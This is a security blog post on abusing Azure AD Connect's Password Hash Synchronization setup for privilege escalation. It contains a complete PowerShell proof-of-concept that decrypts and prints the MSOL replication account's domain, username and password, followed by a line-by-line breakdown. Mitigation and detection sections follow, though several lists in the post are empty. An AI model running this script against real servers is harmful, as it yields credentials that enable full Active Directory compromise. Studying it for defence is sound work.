Understanding Azure AD Connect Exploitation & Privilege Escalation

Oct 14, 2024    #windows   #active-directory   #azure-ad-connect   #azure   #sql   #mssql  

Used-For: Connecting on-premises AD instances with Azure cloud instances

Overview:

Azure AD Connect is a Microsoft tool designed to bridge on-premises Active Directory (AD) with Azure AD in the cloud. It offers several synchronization methods:

Pass-through Authentication (PTA):

Federated Authentication (ADFS):

Password Hash Synchronization (PHS):

Password Hash Synchronization (PHS) Method:

Here’s a simplified diagram illustrating the Password Hash Synchronization (PHS) method:

+----------------------+
|   On-Premises AD     |
+----------------------+
        |
        | "User accounts & attributes"
        v
+----------------------+
|   Azure AD Connect   |
| +------------------+ |
| | Azure AD Sync    | |
| |    Service       | |
| +------------------+ |
| +------------------+ |
| | Password Hash    | |
| | Sync Agent       | |
| +------------------+ |
+----------------------+
    |               |
    | "Synchronized | "Synchronized
    |  user accounts| password hashes"
    |  & attributes"|
    v               v
+----------------------+
|      Azure AD        |
+----------------------+

This diagram illustrates the flow of data in the PHS method:

  1. User accounts and attributes are sent from the on-premises AD to the Azure AD Sync Service within Azure AD Connect.
  2. Password hashes are separately processed by the Password Hash Sync Agent.
  3. Synchronized user accounts and attributes are sent to Azure AD.
  4. Synchronized (and further hashed) password hashes are sent to Azure AD.

The separation of user data and password hash synchronization processes within Azure AD Connect is a key security feature, but it’s also what allows for potential exploitation if an attacker gains access to the Azure AD Connect server.

Installation Configurations:

A default installation of Azure AD Connect uses a SQL Server Express instance as a LocalDB, connecting over a named pipe. This configuration is common and straightforward to set up.

However, it’s important to note that custom installations are possible. In some cases, Azure AD Connect might be configured to use a full Microsoft SQL Server installation. This SQL Server could be bound to a port internally but not accessible externally. Such custom setups can occur when organizations have specific requirements or are integrating Azure AD Connect with existing database infrastructure.

Understanding the installation configuration is crucial for both security assessments and potential exploitation attempts. It affects how the system can be enumerated, what vulnerabilities might be present, and how any potential attacks could be carried out.

The Vulnerability Context

The exploit we’ll be discussing doesn’t rely on a software bug, but rather on the architectural design of Azure AD Connect and potential misconfigurations in its deployment. This is particularly relevant to installations using Password Hash Synchronization (PHS).

Technical Deep Dive

1. The MSOL Account

During installation, Azure AD Connect creates a service account named MSOL_[HEX]. This account is granted extensive permissions, including:

These permissions allow the account to perform Directory Replication Service (DRS) operations, including +DCSync+.

2. Password Hash Synchronization (PHS) Mechanism

PHS uses the Microsoft.Online.PasswordSynchronization.dll assembly to handle hash synchronization. This DLL leverages the same DRS APIs used by tools like Mimikatz for +DCSync+ operations.

3. Local Database Storage

Azure AD Connect stores its configuration in a SQL Server LocalDB instance by default. Key information includes:

4. Encryption Mechanism

The MSOL account password is encrypted and stored in the encrypted_configuration field. Decryption is handled by mcrypt.dll, located in the Azure AD Connect installation directory.

Enumerating Azure AD Connect:

Before attempting to exploit Azure AD Connect, it’s important to confirm its presence and understand its configuration. Here’s a structured approach to enumeration:

1. Confirm Azure AD Connect Installation:

2. Identify Azure AD Connect Accounts:

3. Determine Database Configuration:

4. LocalDB Enumeration (if applicable):

5. SQL Server Enumeration (for custom installations):

6. Determine Synchronization Method (GUI only):

7. Check for Required Permissions

8. Check if we can interact with the database (SQL Custom installation):

+Attacking Azure AD Connect+

Exploitating Azure AD Connect Using PowerShell:

Here’s a complete PowerShell script that demonstrates the exploitation process:

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Let’s break down the key parts of this exploit:

1. Connecting to the Database:

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
Line-by-line breakdown:
  1. Creates a new SqlConnection object to connect to the LocalDB instance.
    • $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data
    • "Data Source=(localdb)\.\ADSync" specifies the LocalDB instance name.
    • "Initial Catalog=ADSync" specifies the database name.
  2. $client.Open()
    • Opens the connection to the database.
Line-by-line breakdown:
  1. Creates a new SqlConnection object to connect to a full SQL Server instance.
  1. $client.Open()
    • Opens the connection to the database.

2. Retrieving Encryption Keys

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Line-by-line breakdown:
  1. $cmd = $client.CreateCommand()

    • Creates a new SqlCommand object associated with the connection.
  2. $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"

    • Sets the SQL query to retrieve encryption key information.
  3. $reader = $cmd.ExecuteReader()

    • Executes the query and returns a SqlDataReader object.
  4. $reader.Read() | Out-Null

    • Reads the first row of the result set.
  5. $key_id = $reader.GetInt32(0)

    • Retrieves the keyset_id value from the first column.
  6. $instance_id = $reader.GetGuid(1)

    • Retrieves the instance_id value from the second column.
  7. $entropy = $reader.GetGuid(2)

    • Retrieves the entropy value from the third column.
  8. $reader.Close()

    • Closes the reader to free up resources.

3. Retrieving Encrypted Configuration

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Line-by-line breakdown:
  1. $cmd = $client.CreateCommand()

    • Creates a new SqlCommand object.
  2. $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"

    • Sets the SQL query to retrieve the encrypted configuration for the AD management agent.
  3. $reader = $cmd.ExecuteReader()

    • Executes the query and returns a SqlDataReader object.
  4. $reader.Read() | Out-Null

    • Reads the first row of the result set.
  5. $config = $reader.GetString(0)

    • Retrieves the private_configuration_xml value from the first column.
  6. $crypted = $reader.GetString(1)

    • Retrieves the encrypted_configuration value from the second column.
  7. $reader.Close()

    • Closes the reader.

4. Decrypting the Configuration

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
Line-by-line breakdown:
  1. add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'

    • Loads the mcrypt.dll library for decryption.
  2. $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager

    • Creates a new KeyManager object for handling encryption keys.
  3. $km.LoadKeySet($entropy, $instance_id, $key_id)

    • Loads the key set using the previously retrieved entropy, instance_id, and key_id.
  4. $key = $null

    • Initializes a variable to store the active credential key.
  5. $km.GetActiveCredentialKey([ref]$key)

    • Retrieves the active credential key.
  6. $key2 = $null

    • Initializes a variable to store a secondary key.
  7. $km.GetKey(1, [ref]$key2)

    • Retrieves the secondary key (key ID 1).
  8. $decrypted = $null

    • Initializes a variable to store the decrypted configuration.
  9. $key2.DecryptBase64ToString($crypted, [ref]$decrypted)

    • Decrypts the encrypted configuration using the secondary key.

5. Extracting Credentials

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
Line-by-line breakdown:
  1. $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}

    • Extracts the domain from the configuration XML using XPath.
  2. $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}

    • Extracts the username from the configuration XML using XPath.
  3. $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

    • Extracts the password from the decrypted configuration using XPath.
  4. Write-Host ("Domain: " + $domain.Domain)

    • Displays the extracted domain.
  5. Write-Host ("Username: " + $username.Username)

    • Displays the extracted username.
  6. Write-Host ("Password: " + $password.Password)

    • Displays the extracted password.

Exploiting AD Connect Using adconnectdump :

Example of this attack:

Mitigation Strategies

  1. Implement strict access controls on the Azure AD Connect server.
  2. Use Just-In-Time (JIT) access for administrative tasks.
  3. Enable and monitor advanced auditing for the MSOL account.
  4. Consider using Pass-through Authentication (PTA) instead of PHS if feasible.
  5. Regularly rotate the MSOL account password.
  6. Implement network segmentation to limit access to the Azure AD Connect server.
  7. Use a hardware security module (HSM) for key storage if possible.

Detection

Monitor for:

By understanding this process, security teams can better protect their Azure AD Connect deployments and detect potential exploitation attempts.



Next: Understanding the Shadow Credentials Attack Vector